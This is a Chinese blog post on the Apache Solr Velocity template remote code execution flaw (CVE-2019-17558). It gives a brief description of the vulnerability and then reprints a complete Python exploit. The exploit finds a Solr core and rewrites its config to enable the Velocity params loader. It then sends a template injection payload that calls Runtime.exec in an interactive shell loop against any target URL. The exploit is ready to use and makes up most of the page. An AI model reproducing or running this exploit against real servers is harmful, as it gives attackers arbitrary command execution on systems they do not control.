当前位置: 首页 > article >正文

solr 远程命令执行 (CVE-2019-17558)

目录

漏洞描述

执行漏洞py脚本,取得shell连接

EXP


漏洞描述

        Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。

执行漏洞py脚本,取得shell连接

F:\exphub-master\solr>python cve-2019-17558_cmd.py

EXP

#!/usr/bin/python3
#-*- coding:utf-8 -*-
# author:zhzyker
# from:https://github.com/zhzyker/exphub
# telegram:t.me/zhzyker

import requests
import sys
import json

if len(sys.argv)!=2:
    print('+------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub       +')
    print('+      Apache Solr Velocity Commons Remote Code Execution    +')
    print('+------------------------------------------------------------+')
    print('+ USE: python3 cve-2019-17558_cmd.py <url>                   +')
    print('+ EXP: python3 cve-2019-17558_cmd.py http://1.1.1.1:8983     +')
    print('+ VER: Apache Solr 5.0.0 - 8.3.1                             +')
    print('+------------------------------------------------------------+')
    sys.exit(0)
    
url = sys.argv[1]

core_url = url + "/solr/admin/cores?indexInfo=false&wt=json"
try:
    r = requests.request("GET", url=core_url, timeout=10)
    core_name = list(json.loads(r.text)["status"])[0]
    print ("[+] GET API: "+url+"/solr/"+core_name+"/config")
except:
    print ("[-] Target Not Vuln Good Luck")
    sys.exit(0)
    


api_url = url + "/solr/" +core_name+ "/config"
headers = {"Content-Type": "application/json"}
set_api_data ="""
{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
"""
api = requests.request("POST", url=api_url, data=set_api_data, headers=headers)
code = str(api.status_code)
if api.status_code == 200:
    print ("[+] <HTTP" +code+ "> SET API Success")
else:
    print ("[-] <HTTP" +code+ "> SET API Failed Good Luck")
    sys.exit(0)


def do_exp(cmd):
    vuln_url = url+"/solr/"+core_name+"/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27"+cmd+"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"
    r = requests.request("GET", vuln_url)
    print (r.text)

while 1:
    cmd = input("Shell >>> ")
    if cmd == "exit" : exit(0)
    do_exp(cmd)


http://www.kler.cn/a/411976.html

相关文章:

  • SpringCloud入门实战-Nacos简介、安装、运行详解
  • 5.Feign与ReflectiveFeign
  • 突破内存限制:Mac Mini M2 服务器化实践指南
  • 二,[ACTF2020 新生赛]Include1感谢 Y1ng 师傅供题。
  • 利用开源图床的技巧与实践
  • Matlab 深度学习工具箱 案例学习与测试————求二阶微分方程
  • Cesium教程04_旋转模型
  • 每日刷题之优选算法(滑动窗口)
  • kali安装及使用docker和docker-compose
  • Go语言switch语句
  • 设计理念与数据反馈:面向火星熔岩管探索的跳跃机器人
  • Nodemailer使用教程:在Node.js中发送电子邮件
  • anaconda pycharm 使用问题
  • Python脚本检测网站是否开启浏览器缓存配置
  • FastDFS基础概述与系统架构详解
  • GitLab CI 配置
  • 深入浅出 WebSocket:构建实时数据大屏的高级实践
  • AdaPipe:通过自适应重新计算和细粒度的计算单元划分
  • Linux KASLR
  • DAMODEL丹摩|丹摩平台:AI时代的开发者福音
  • 微信小程序+Vant-自定义选择器组件(多选
  • 【Zookeeper 和 Kafka】为什么 Zookeeper 不用域名?
  • 权限的相关内容
  • 昇思MindSpore第六课---Roberta Prompt Turning
  • c#异步编程(async/await)
  • 阿里云多账号统一认证